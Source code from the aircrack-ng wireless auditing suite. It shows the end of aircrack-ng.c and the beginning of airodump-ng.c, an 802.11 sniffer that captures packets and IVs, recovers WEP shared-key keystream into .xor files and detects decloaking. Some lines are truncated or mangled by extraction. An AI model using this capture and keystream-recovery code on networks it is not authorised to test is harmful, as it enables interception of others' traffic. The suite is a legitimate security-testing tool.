"\33[2J" ); if( opt.l33t ) printf( "\33[34;1m" ); printf("\33[2;34H%s",progname); } sql = sqlite3_mprintf(sqlformat,ap_cur->essid); while (1) { rc = sqlite3_exec(db,sql,sql_wpacallback,ap_cur,&zErrMsg); if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY) { fprintf(stdout,"Database is locked or busy. Waiting %is ... %1c \r",++waited, looper[looperc]); fflush(stdout); looperc = (looperc+1) % sizeof(looper); sleep(1); } else { if (rc != SQLITE_OK && rc != SQLITE_ABORT ) { fprintf(stderr, "SQL error: %s\n", zErrMsg); sqlite3_free(zErrMsg); } if (waited != 0) printf("\n\n"); break; } } sqlite3_free(sql); } #endif } exit_main: #ifdef HAVE_SQLITE if (db != NULL) { sqlite3_close(db); } #endif #if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP)) _PGOPTI_Prof_Dump(); #endif if( ! opt.is_quiet ) printf( "\n" ); fflush( stdout ); // if( ret == SUCCESS ) kill( 0, SIGQUIT ); // if( ret == FAILURE ) kill( 0, SIGTERM ); clean_exit(ret); _exit( ret ); } aircrack-ng-1.1/src/airodump-ng.c0000644000000000000000000054116711364645050015431 0ustar rootroot/* * pcap-compatible 802.11 packet sniffer * * Copyright (C) 2006-2010 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #ifndef TIOCGWINSZ #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "version.h" #include "pcap.h" #include "uniqueiv.h" #include "crypto.h" #include "osdep/osdep.h" #include "airodump-ng.h" #include "osdep/common.h" #include "common.h" void dump_sort( void ); void dump_print( int ws_row, int ws_col, int if_num ); char * get_manufacturer_from_string(char * buffer) { char * manuf = NULL; char * buffer_manuf; if (buffer != NULL && strlen(buffer) > 0) { buffer_manuf = strstr(buffer, "(hex)"); if (buffer_manuf != NULL) { buffer_manuf += 6; // skip '(hex)' and one more character (there's at least one 'space' character after that string) while (*buffer_manuf == '\t' || *buffer_manuf == ' ') { ++buffer_manuf; } // Did we stop at the manufacturer if (*buffer_manuf != '\0') { // First make sure there's no end of line if (buffer_manuf[strlen(buffer_manuf) - 1] == '\n' || buffer_manuf[strlen(buffer_manuf) - 1] == '\r') { buffer_manuf[strlen(buffer_manuf) - 1] = '\0'; if (*buffer_manuf != '\0' && (buffer_manuf[strlen(buffer_manuf) - 1] == '\n' || buffer[strlen(buffer_manuf) - 1] == '\r')) { buffer_manuf[strlen(buffer_manuf) - 1] = '\0'; } } if (*buffer_manuf != '\0') { if ((manuf = (char *)malloc((strlen(buffer_manuf) + 1) * sizeof(char))) == NULL) { perror("malloc failed"); return NULL; } snprintf(manuf, strlen(buffer_manuf) + 1, "%s", buffer_manuf); } } } } return manuf; } void textcolor(int attr, int fg, int bg) { char command[13]; /* Command is the control command to the terminal */ sprintf(command, "%c[%d;%d;%dm", 0x1B, attr, fg + 30, bg + 40); fprintf(stderr, "%s", command); fflush(stderr); } void textcolor_fg(int fg) { char command[13]; /* Command is the control command to the terminal */ sprintf(command, "\033[%dm", fg + 30); fprintf(stderr, "%s", command); fflush(stderr); } void textcolor_bg(int bg) { char command[13]; /* Command is the control command to the terminal */ sprintf(command, "\033[%dm", bg + 40); fprintf(stderr, "%s", command); fflush(stderr); } void textstyle(int attr) { char command[13]; /* Command is the control command to the terminal */ sprintf(command, "\033[%im", attr); fprintf(stderr, "%s", command); fflush(stderr); } void reset_term() { struct termios oldt, newt; tcgetattr( STDIN_FILENO, &oldt ); newt = oldt; newt.c_lflag |= ( ICANON | ECHO ); tcsetattr( STDIN_FILENO, TCSANOW, &newt ); } int mygetch( ) { struct termios oldt, newt; int ch; tcgetattr( STDIN_FILENO, &oldt ); newt = oldt; newt.c_lflag &= ~( ICANON | ECHO ); tcsetattr( STDIN_FILENO, TCSANOW, &newt ); ch = getchar(); tcsetattr( STDIN_FILENO, TCSANOW, &oldt ); return ch; } void resetSelection() { G.sort_by = SORT_BY_POWER; G.sort_inv = 1; G.start_print_ap=1; G.start_print_sta=1; G.selected_ap=1; G.selected_sta=1; G.selection_ap=0; G.selection_sta=0; G.mark_cur_ap=0; G.skip_columns=0; G.do_pause=0; G.do_sort_always=0; memset(G.selected_bssid, '\x00', 6); } #define KEY_TAB 0x09 //switch between APs/clients for scrolling #define KEY_SPACE 0x20 //pause/resume output #define KEY_ARROW_UP 0x41 //scroll #define KEY_ARROW_DOWN 0x42 //scroll #define KEY_ARROW_RIGHT 0x43 //scroll #define KEY_ARROW_LEFT 0x44 //scroll #define KEY_a 0x61 //cycle through active information (ap/sta/ap+sta/ap+sta+ack) #define KEY_c 0x63 //cycle through channels #define KEY_d 0x64 //default mode #define KEY_i 0x69 //inverse sorting #define KEY_m 0x6D //mark current AP #define KEY_n 0x6E //? #define KEY_r 0x72 //realtime sort (de)activate #define KEY_s 0x73 //cycle through sorting void input_thread( void *arg) { if(!arg){} while( G.do_exit == 0 ) { int keycode=0; keycode=mygetch(); if(keycode == KEY_s) { G.sort_by++; G.selection_ap = 0; G.selection_sta = 0; if(G.sort_by > MAX_SORT) G.sort_by = 0; switch(G.sort_by) { case SORT_BY_NOTHING: snprintf(G.message, sizeof(G.message), "][ sorting by first seen"); break; case SORT_BY_BSSID: snprintf(G.message, sizeof(G.message), "][ sorting by bssid"); break; case SORT_BY_POWER: snprintf(G.message, sizeof(G.message), "][ sorting by power level"); break; case SORT_BY_BEACON: snprintf(G.message, sizeof(G.message), "][ sorting by beacon number"); break; case SORT_BY_DATA: snprintf(G.message, sizeof(G.message), "][ sorting by number of data packets"); break; case SORT_BY_PRATE: snprintf(G.message, sizeof(G.message), "][ sorting by packet rate"); break; case SORT_BY_CHAN: snprintf(G.message, sizeof(G.message), "][ sorting by channel"); break; case SORT_BY_MBIT: snprintf(G.message, sizeof(G.message), "][ sorting by max data rate"); break; case SORT_BY_ENC: snprintf(G.message, sizeof(G.message), "][ sorting by encryption"); break; case SORT_BY_CIPHER: snprintf(G.message, sizeof(G.message), "][ sorting by cipher"); break; case SORT_BY_AUTH: snprintf(G.message, sizeof(G.message), "][ sorting by authentication"); break; case SORT_BY_ESSID: snprintf(G.message, sizeof(G.message), "][ sorting by ESSID"); break; default: break; } pthread_mutex_lock( &(G.mx_sort) ); dump_sort(); pthread_mutex_unlock( &(G.mx_sort) ); } if(keycode == KEY_SPACE) { G.do_pause = (G.do_pause+1)%2; if(G.do_pause) { snprintf(G.message, sizeof(G.message), "][ paused output"); pthread_mutex_lock( &(G.mx_print) ); fprintf( stderr, "\33[1;1H" ); dump_print( G.ws.ws_row, G.ws.ws_col, G.num_cards ); fprintf( stderr, "\33[J" ); fflush(stderr); pthread_mutex_unlock( &(G.mx_print) ); } else snprintf(G.message, sizeof(G.message), "][ resumed output"); } if(keycode == KEY_r) { G.do_sort_always = (G.do_sort_always+1)%2; if(G.do_sort_always) snprintf(G.message, sizeof(G.message), "][ realtime sorting activated"); else snprintf(G.message, sizeof(G.message), "][ realtime sorting deactivated"); } if(keycode == KEY_m) { G.mark_cur_ap = 1; } if(keycode == KEY_ARROW_DOWN) { if(G.selection_ap == 1) { G.selected_ap++; } if(G.selection_sta == 1) { G.selected_sta++; } } if(keycode == KEY_ARROW_UP) { if(G.selection_ap == 1) { G.selected_ap--; if(G.selected_ap < 1) G.selected_ap = 1; } if(G.selection_sta == 1) { G.selected_sta--; if(G.selected_sta < 1) G.selected_sta = 1; } } if(keycode == KEY_i) { G.sort_inv*=-1; if(G.sort_inv < 0) snprintf(G.message, sizeof(G.message), "][ inverted sorting order"); else snprintf(G.message, sizeof(G.message), "][ normal sorting order"); } if(keycode == KEY_TAB) { if(G.selection_ap == 0) { G.selection_ap = 1; G.selected_ap = 1; snprintf(G.message, sizeof(G.message), "][ enabled AP selection"); G.sort_by = SORT_BY_NOTHING; } else if(G.selection_ap == 1) { G.selection_ap = 0; G.sort_by = SORT_BY_NOTHING; snprintf(G.message, sizeof(G.message), "][ disabled selection"); } } if(keycode == KEY_a) { if(G.show_ap == 1 && G.show_sta == 1 && G.show_ack == 0) { G.show_ap = 1; G.show_sta = 1; G.show_ack = 1; snprintf(G.message, sizeof(G.message), "][ display ap+sta+ack"); } else if(G.show_ap == 1 && G.show_sta == 1 && G.show_ack == 1) { G.show_ap = 1; G.show_sta = 0; G.show_ack = 0; snprintf(G.message, sizeof(G.message), "][ display ap only"); } else if(G.show_ap == 1 && G.show_sta == 0 && G.show_ack == 0) { G.show_ap = 0; G.show_sta = 1; G.show_ack = 0; snprintf(G.message, sizeof(G.message), "][ display sta only"); } else if(G.show_ap == 0 && G.show_sta == 1 && G.show_ack == 0) { G.show_ap = 1; G.show_sta = 1; G.show_ack = 0; snprintf(G.message, sizeof(G.message), "][ display ap+sta"); } } if (keycode == KEY_d) { resetSelection(); snprintf(G.message, sizeof(G.message), "][ reset selection to default"); } if(G.do_exit == 0 && !G.do_pause) { pthread_mutex_lock( &(G.mx_print) ); fprintf( stderr, "\33[1;1H" ); dump_print( G.ws.ws_row, G.ws.ws_col, G.num_cards ); fprintf( stderr, "\33[J" ); fflush(stderr); pthread_mutex_unlock( &(G.mx_print) ); } } } struct oui * load_oui_file(void) { FILE *fp; char * manuf; char buffer[BUFSIZ]; unsigned char a[2]; unsigned char b[2]; unsigned char c[2]; struct oui *oui_ptr = NULL, *oui_head = NULL; if (!(fp = fopen(OUI_PATH, "r"))) return NULL; memset(buffer, 0x00, sizeof(buffer)); while (fgets(buffer, sizeof(buffer), fp) != NULL) { if (!(strstr(buffer, "(hex)"))) continue; memset(a, 0x00, sizeof(a)); memset(b, 0x00, sizeof(b)); memset(c, 0x00, sizeof(c)); if (sscanf(buffer, "%2c-%2c-%2c", a, b, c) == 3) { if (oui_ptr == NULL) { if (!(oui_ptr = (struct oui *)malloc(sizeof(struct oui)))) { perror("malloc failed"); return NULL; } } else { if (!(oui_ptr->next = (struct oui *)malloc(sizeof(struct oui)))) { perror("malloc failed"); return NULL; } oui_ptr = oui_ptr->next; } memset(oui_ptr->id, 0x00, sizeof(oui_ptr->id)); memset(oui_ptr->manuf, 0x00, sizeof(oui_ptr->manuf)); snprintf(oui_ptr->id, sizeof(oui_ptr->id), "%c%c:%c%c:%c%c", a[0], a[1], b[0], b[1], c[0], c[1]); manuf = get_manufacturer_from_string(buffer); if (manuf != NULL) { snprintf(oui_ptr->manuf, sizeof(oui_ptr->manuf), "%s", manuf); free(manuf); } else { snprintf(oui_ptr->manuf, sizeof(oui_ptr->manuf), "Unknown"); } if (oui_head == NULL) oui_head = oui_ptr; oui_ptr->next = NULL; } } fclose(fp); return oui_head; } int check_shared_key(unsigned char *h80211, int caplen) { int m_bmac, m_smac, m_dmac, n, textlen; char ofn[1024]; char text[4096]; char prga[4096]; unsigned int long crc; if((unsigned)caplen > sizeof(G.sharedkey[0])) return 1; m_bmac = 16; m_smac = 10; m_dmac = 4; if( time(NULL) - G.sk_start > 5) { /* timeout(5sec) - remove all packets, restart timer */ memset(G.sharedkey, '\x00', 4096*3); G.sk_start = time(NULL); } /* is auth packet */ if( (h80211[1] & 0x40) != 0x40 ) { /* not encrypted */ if( ( h80211[24] + (h80211[25] << 8) ) == 1 ) { /* Shared-Key Authentication */ if( ( h80211[26] + (h80211[27] << 8) ) == 2 ) { /* sequence == 2 */ memcpy(G.sharedkey[0], h80211, caplen); G.sk_len = caplen-24; } if( ( h80211[26] + (h80211[27] << 8) ) == 4 ) { /* sequence == 4 */ memcpy(G.sharedkey[2], h80211, caplen); } } else return 1; } else { /* encrypted */ memcpy(G.sharedkey[1], h80211, caplen); G.sk_len2 = caplen-24-4; } /* check if the 3 packets form a proper authentication */ if( ( memcmp(G.sharedkey[0]+m_bmac, NULL_MAC, 6) == 0 ) || ( memcmp(G.sharedkey[1]+m_bmac, NULL_MAC, 6) == 0 ) || ( memcmp(G.sharedkey[2]+m_bmac, NULL_MAC, 6) == 0 ) ) /* some bssids == zero */ { return 1; } if( ( memcmp(G.sharedkey[0]+m_bmac, G.sharedkey[1]+m_bmac, 6) != 0 ) || ( memcmp(G.sharedkey[0]+m_bmac, G.sharedkey[2]+m_bmac, 6) != 0 ) ) /* all bssids aren't equal */ { return 1; } if( ( memcmp(G.sharedkey[0]+m_smac, G.sharedkey[2]+m_smac, 6) != 0 ) || ( memcmp(G.sharedkey[0]+m_smac, G.sharedkey[1]+m_dmac, 6) != 0 ) ) /* SA in 2&4 != DA in 3 */ { return 1; } if( (memcmp(G.sharedkey[0]+m_dmac, G.sharedkey[2]+m_dmac, 6) != 0 ) || (memcmp(G.sharedkey[0]+m_dmac, G.sharedkey[1]+m_smac, 6) != 0 ) ) /* DA in 2&4 != SA in 3 */ { return 1; } textlen = G.sk_len; if(textlen+4 != G.sk_len2) { snprintf(G.message, sizeof(G.message), "][ Broken SKA: %02X:%02X:%02X:%02X:%02X:%02X ", *(G.sharedkey[0]+m_bmac), *(G.sharedkey[0]+m_bmac+1), *(G.sharedkey[0]+m_bmac+2), *(G.sharedkey[0]+m_bmac+3), *(G.sharedkey[0]+m_bmac+4), *(G.sharedkey[0]+m_bmac+5)); return 1; } if((unsigned)textlen > sizeof(text) - 4) return 1; memcpy(text, G.sharedkey[0]+24, textlen); /* increment sequence number from 2 to 3 */ text[2] = text[2]+1; crc = 0xFFFFFFFF; for( n = 0; n < textlen; n++ ) crc = crc_tbl[(crc ^ text[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; /* append crc32 over body */ text[textlen] = (crc ) & 0xFF; text[textlen+1] = (crc >> 8) & 0xFF; text[textlen+2] = (crc >> 16) & 0xFF; text[textlen+3] = (crc >> 24) & 0xFF; /* cleartext XOR cipher */ for(n=0; n<(textlen+4); n++) { prga[4+n] = (text[n] ^ G.sharedkey[1][28+n]) & 0xFF; } /* write IV+index */ prga[0] = G.sharedkey[1][24] & 0xFF; prga[1] = G.sharedkey[1][25] & 0xFF; prga[2] = G.sharedkey[1][26] & 0xFF; prga[3] = G.sharedkey[1][27] & 0xFF; if( G.f_xor != NULL ) { fclose(G.f_xor); G.f_xor = NULL; } snprintf( ofn, sizeof( ofn ) - 1, "%s-%02d-%02X-%02X-%02X-%02X-%02X-%02X.%s", G.prefix, G.f_index, *(G.sharedkey[0]+m_bmac), *(G.sharedkey[0]+m_bmac+1), *(G.sharedkey[0]+m_bmac+2), *(G.sharedkey[0]+m_bmac+3), *(G.sharedkey[0]+m_bmac+4), *(G.sharedkey[0]+m_bmac+5), "xor" ); G.f_xor = fopen( ofn, "w"); if(G.f_xor == NULL) return 1; for(n=0; n [,,...]\n" "\n" " Options:\n" " --ivs : Save only captured IVs\n" " --gpsd : Use GPSd\n" " --write : Dump file prefix\n" " -w : same as --write \n" " --beacons : Record all beacons in dump file\n" " --update : Display update delay in seconds\n" " --showack : Prints ack/cts/rts statistics\n" " -h : Hides known stations for --showack\n" " -f : Time in ms between hopping channels\n" " --berlin : Time before removing the AP/client\n" " from the screen when no more packets\n" " are received (Default: 120 seconds)\n" " -r : Read packets from that file\n" " -x : Active Scanning Simulation\n" " --output-format\n" " : Output format. Possible values:\n" " pcap, ivs, csv, gps, kismet, netxml\n" "\n" " Filter options:\n" " --encrypt : Filter APs by cipher suite\n" " --netmask : Filter APs by mask\n" " --bssid : Filter APs by BSSID\n" " -a : Filter unassociated clients\n" "\n" " By default, airodump-ng hop on 2.4GHz channels.\n" " You can make it capture on other/specific channel(s) by using:\n" " --channel : Capture on specific channels\n" " --band : Band on which airodump-ng should hop\n" " -C : Uses these frequencies in MHz to hop\n" " --cswitch : Set channel switching method\n" " 0 : FIFO (default)\n" " 1 : Round Robin\n" " 2 : Hop on last\n" " -s : same as --cswitch\n" "\n" " --help : Displays this usage screen\n" "\n"; int is_filtered_netmask(uchar *bssid) { uchar mac1[6]; uchar mac2[6]; int i; for(i=0; i<6; i++) { mac1[i] = bssid[i] & G.f_netmask[i]; mac2[i] = G.f_bssid[i] & G.f_netmask[i]; } if( memcmp(mac1, mac2, 6) != 0 ) { return( 1 ); } return 0; } void update_rx_quality( ) { unsigned int time_diff, capt_time, miss_time; int missed_frames; struct AP_info *ap_cur = NULL; struct ST_info *st_cur = NULL; struct timeval cur_time; ap_cur = G.ap_1st; st_cur = G.st_1st; gettimeofday( &cur_time, NULL ); /* accesspoints */ while( ap_cur != NULL ) { time_diff = 1000000 * (cur_time.tv_sec - ap_cur->ftimer.tv_sec ) + (cur_time.tv_usec - ap_cur->ftimer.tv_usec); /* update every `QLT_TIME`seconds if the rate is low, or every 500ms otherwise */ if( (ap_cur->fcapt >= QLT_COUNT && time_diff > 500000 ) || time_diff > (QLT_TIME * 1000000) ) { /* at least one frame captured */ if(ap_cur->fcapt > 1) { capt_time = ( 1000000 * (ap_cur->ftimel.tv_sec - ap_cur->ftimef.tv_sec ) //time between first and last captured frame + (ap_cur->ftimel.tv_usec - ap_cur->ftimef.tv_usec) ); miss_time = ( 1000000 * (ap_cur->ftimef.tv_sec - ap_cur->ftimer.tv_sec ) //time between timer reset and first frame + (ap_cur->ftimef.tv_usec - ap_cur->ftimer.tv_usec) ) + ( 1000000 * (cur_time.tv_sec - ap_cur->ftimel.tv_sec ) //time between last frame and this moment + (cur_time.tv_usec - ap_cur->ftimel.tv_usec) ); //number of frames missed at the time where no frames were captured; extrapolated by assuming a constant framerate if(capt_time > 0 && miss_time > 200000) { missed_frames = ((float)((float)miss_time/(float)capt_time) * ((float)ap_cur->fcapt + (float)ap_cur->fmiss)); ap_cur->fmiss += missed_frames; } ap_cur->rx_quality = ((float)((float)ap_cur->fcapt / ((float)ap_cur->fcapt + (float)ap_cur->fmiss)) * 100.0); } else ap_cur->rx_quality = 0; /* no packets -> zero quality */ /* normalize, in case the seq numbers are not iterating */ if(ap_cur->rx_quality > 100) ap_cur->rx_quality = 100; if(ap_cur->rx_quality < 0 ) ap_cur->rx_quality = 0; /* reset variables */ ap_cur->fcapt = 0; ap_cur->fmiss = 0; gettimeofday( &(ap_cur->ftimer) ,NULL); } ap_cur = ap_cur->next; } /* stations */ while( st_cur != NULL ) { time_diff = 1000000 * (cur_time.tv_sec - st_cur->ftimer.tv_sec ) + (cur_time.tv_usec - st_cur->ftimer.tv_usec); if( time_diff > 10000000 ) { st_cur->missed = 0; gettimeofday( &(st_cur->ftimer), NULL ); } st_cur = st_cur->next; } } /* setup the output files */ int dump_initialize( char *prefix, int ivs_only ) { int i, ofn_len; FILE *f; char * ofn = NULL; /* If you only want to see what happening, send all data to /dev/null */ if ( prefix == NULL || strlen( prefix ) == 0) { return( 0 ); } /* Create a buffer of the length of the prefix + '-' + 2 numbers + '.' + longest extension ("kismet.netxml") + terminating 0. */ ofn_len = strlen(prefix) + 1 + 2 + 1 + 13 + 1; ofn = (char *)calloc(1, ofn_len); G.f_index = 1; /* Make sure no file with the same name & all possible file extensions. */ do { for( i = 0; i < NB_EXTENSIONS; i++ ) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, f_ext[i] ); if( ( f = fopen( ofn, "rb+" ) ) != NULL ) { fclose( f ); G.f_index++; break; } } } /* If we did all extensions then no file with that name or extension exist so we can use that number */ while( i < NB_EXTENSIONS ); G.prefix = (char *) malloc(strlen(prefix) + 1); memcpy(G.prefix, prefix, strlen(prefix) + 1); /* create the output CSV file */ if (G.output_format_csv) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_CSV_EXT ); if( ( G.f_txt = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } } /* create the output Kismet CSV file */ if (G.output_format_kismet_csv) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, KISMET_CSV_EXT ); if( ( G.f_kis = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } } /* create the output GPS file */ if (G.usegpsd) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_GPS_EXT ); if( ( G.f_gps = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } } /* Create the output kismet.netxml file */ if (G.output_format_kismet_netxml) { memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, KISMET_NETXML_EXT ); if( ( G.f_kis_xml = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } } /* create the output packet capture file */ if( G.output_format_pcap ) { struct pcap_file_header pfh; memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, AIRODUMP_NG_CAP_EXT ); if( ( G.f_cap = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } G.f_cap_name = (char *) malloc( strlen( ofn ) + 1 ); memcpy( G.f_cap_name, ofn, strlen( ofn ) + 1 ); free( ofn ); pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = LINKTYPE_IEEE802_11; if( fwrite( &pfh, 1, sizeof( pfh ), G.f_cap ) != (size_t) sizeof( pfh ) ) { perror( "fwrite(pcap file header) failed" ); return( 1 ); } } else if ( ivs_only ) { struct ivs2_filehdr fivs2; fivs2.version = IVS2_VERSION; memset(ofn, 0, ofn_len); snprintf( ofn, ofn_len, "%s-%02d.%s", prefix, G.f_index, IVS2_EXTENSION ); if( ( G.f_ivs = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); free( ofn ); return( 1 ); } free( ofn ); if( fwrite( IVS2_MAGIC, 1, 4, G.f_ivs ) != (size_t) 4 ) { perror( "fwrite(IVs file MAGIC) failed" ); return( 1 ); } if( fwrite( &fivs2, 1, sizeof(struct ivs2_filehdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_filehdr) ) { perror( "fwrite(IVs file header) failed" ); return( 1 ); } } return( 0 ); } int update_dataps() { struct timeval tv; struct AP_info *ap_cur; struct NA_info *na_cur; int sec, usec, diff, ps; float pause; gettimeofday(&tv, NULL); ap_cur = G.ap_end; while( ap_cur != NULL ) { sec = (tv.tv_sec - ap_cur->tv.tv_sec); usec = (tv.tv_usec - ap_cur->tv.tv_usec); pause = (((float)(sec*1000000.0f + usec))/(1000000.0f)); if( pause > 2.0f ) { diff = ap_cur->nb_data - ap_cur->nb_data_old; ps = (int)(((float)diff)/pause); ap_cur->nb_dataps = ps; ap_cur->nb_data_old = ap_cur->nb_data; gettimeofday(&(ap_cur->tv), NULL); } ap_cur = ap_cur->prev; } na_cur = G.na_1st; while( na_cur != NULL ) { sec = (tv.tv_sec - na_cur->tv.tv_sec); usec = (tv.tv_usec - na_cur->tv.tv_usec); pause = (((float)(sec*1000000.0f + usec))/(1000000.0f)); if( pause > 2.0f ) { diff = na_cur->ack - na_cur->ack_old; ps = (int)(((float)diff)/pause); na_cur->ackps = ps; na_cur->ack_old = na_cur->ack; gettimeofday(&(na_cur->tv), NULL); } na_cur = na_cur->next; } return(0); } int list_tail_free(struct pkt_buf **list) { struct pkt_buf **pkts; struct pkt_buf *next; if(list == NULL) return 1; pkts = list; while(*pkts != NULL) { next = (*pkts)->next; if( (*pkts)->packet ) { free( (*pkts)->packet); (*pkts)->packet=NULL; } if(*pkts) { free(*pkts); *pkts = NULL; } *pkts = next; } *list=NULL; return 0; } int list_add_packet(struct pkt_buf **list, int length, unsigned char* packet) { struct pkt_buf *next = *list; if(length <= 0) return 1; if(packet == NULL) return 1; if(list == NULL) return 1; *list = (struct pkt_buf*) malloc(sizeof(struct pkt_buf)); if( *list == NULL ) return 1; (*list)->packet = (unsigned char*) malloc(length); if( (*list)->packet == NULL ) return 1; memcpy((*list)->packet, packet, length); (*list)->next = next; (*list)->length = length; gettimeofday( &((*list)->ctime), NULL); return 0; } int list_check_decloak(struct pkt_buf **list, int length, unsigned char* packet) { struct pkt_buf *next = *list; struct timeval tv1; int timediff; int i, correct; if( packet == NULL) return 1; if( list == NULL ) return 1; if( *list == NULL ) return 1; if( length <= 0) return 1; gettimeofday(&tv1, NULL); timediff = (((tv1.tv_sec - ((*list)->ctime.tv_sec)) * 1000000) + (tv1.tv_usec - ((*list)->ctime.tv_usec))) / 1000; if( timediff > BUFFER_TIME ) { list_tail_free(list); next=NULL; } while(next != NULL) { if(next->next != NULL) { timediff = (((tv1.tv_sec - (next->next->ctime.tv_sec)) * 1000000) + (tv1.tv_usec - (next->next->ctime.tv_usec))) / 1000; if( timediff > BUFFER_TIME ) { list_tail_free(&(next->next)); break; } } if( (next->length + 4) == length) { correct = 1; // check for 4 bytes added after the end for(i=28;ipacket[i] != packet[i]) { correct = 0; break; } } if(!correct) { correct = 1; // check for 4 bytes added at the beginning for(i=28;ipacket[i] != packet[4+i]) { correct = 0; break; } } } if(correct == 1) return 0; //found decloaking! } next = next->next; } return 1; //didn't find decloak } int remove_namac(unsigned char* mac) { struct NA_info *na_cur = NULL; struct NA_info *na_prv = NULL; if(mac == NULL) return( -1 ); na_cur = G.na_1st; na_prv = NULL; while( na_cur != NULL ) { if( ! memcmp( na_cur->namac, mac, 6 ) ) break; na_prv = na_cur; na_cur = na_cur->next; } /* if it's known, remove it */ if( na_cur != NULL ) { /* first in linked list */ if(na_cur == G.na_1st) { G.na_1st = na_cur->next; } else { na_prv->next = na_cur->next; } free(na_cur); na_cur=NULL; } return( 0 ); } int dump_add_packet( unsigned char *h80211, int caplen, struct rx_info *ri, int cardnum ) { int i, n, z, seq, msd, dlen, offset, clen, o; int type, length, numuni=0, numauth=0; struct pcap_pkthdr pkh; struct timeval tv; struct ivs2_pkthdr ivs2; unsigned char *p, *org_p, c; unsigned char bssid[6]; unsigned char stmac[6]; unsigned char namac[6]; unsigned char clear[2048]; int weight[16]; int num_xor=0; struct AP_info *ap_cur = NULL; struct ST_info *st_cur = NULL; struct NA_info *na_cur = NULL; struct AP_info *ap_prv = NULL; struct ST_info *st_prv = NULL; struct NA_info *na_prv = NULL; /* skip all non probe response frames in active scanning simulation mode */ if( G.active_scan_sim > 0 && h80211[0] != 0x50 ) return(0); /* skip packets smaller than a 802.11 header */ if( caplen < 24 ) goto write_packet; /* skip (uninteresting) control frames */ if( ( h80211[0] & 0x0C ) == 0x04 ) goto write_packet; /* if it's a LLC null packet, just forget it (may change in the future) */ if ( caplen > 28) if ( memcmp(h80211 + 24, llcnull, 4) == 0) return ( 0 ); /* grab the sequence number */ seq = ((h80211[22]>>4)+(h80211[23]<<4)); /* locate the access point's MAC address */ switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); break; //Adhoc case 1: memcpy( bssid, h80211 + 4, 6 ); break; //ToDS case 2: memcpy( bssid, h80211 + 10, 6 ); break; //FromDS case 3: memcpy( bssid, h80211 + 10, 6 ); break; //WDS -> Transmitter taken as BSSID } if( memcmp(G.f_bssid, NULL_MAC, 6) != 0 ) { if( memcmp(G.f_netmask, NULL_MAC, 6) != 0 ) { if(is_filtered_netmask(bssid)) return(1); } else { if( memcmp(G.f_bssid, bssid, 6) != 0 ) return(1); } } /* update our chained list of access points */ ap_cur = G.ap_1st; ap_prv = NULL; while( ap_cur != NULL ) { if( ! memcmp( ap_cur->bssid, bssid, 6 ) ) break; ap_prv = ap_cur; ap_cur = ap_cur->next; } /* if it's a new access point, add it */ if( ap_cur == NULL ) { if( ! ( ap_cur = (struct AP_info *) malloc( sizeof( struct AP_info ) ) ) ) { perror( "malloc failed" ); return( 1 ); } /* if mac is listed as unknown, remove it */ remove_namac(bssid); memset( ap_cur, 0, sizeof( struct AP_info ) ); if( G.ap_1st == NULL ) G.ap_1st = ap_cur; else ap_prv->next = ap_cur; memcpy( ap_cur->bssid, bssid, 6 ); if (ap_cur->manuf == NULL) { ap_cur->manuf = get_manufacturer(ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2]); } ap_cur->prev = ap_prv; ap_cur->tinit = time( NULL ); ap_cur->tlast = time( NULL ); ap_cur->avg_power = -1; ap_cur->best_power = -1; ap_cur->power_index = -1; for( i = 0; i < NB_PWR; i++ ) ap_cur->power_lvl[i] = -1; ap_cur->channel = -1; ap_cur->max_speed = -1; ap_cur->security = 0; ap_cur->uiv_root = uniqueiv_init(); 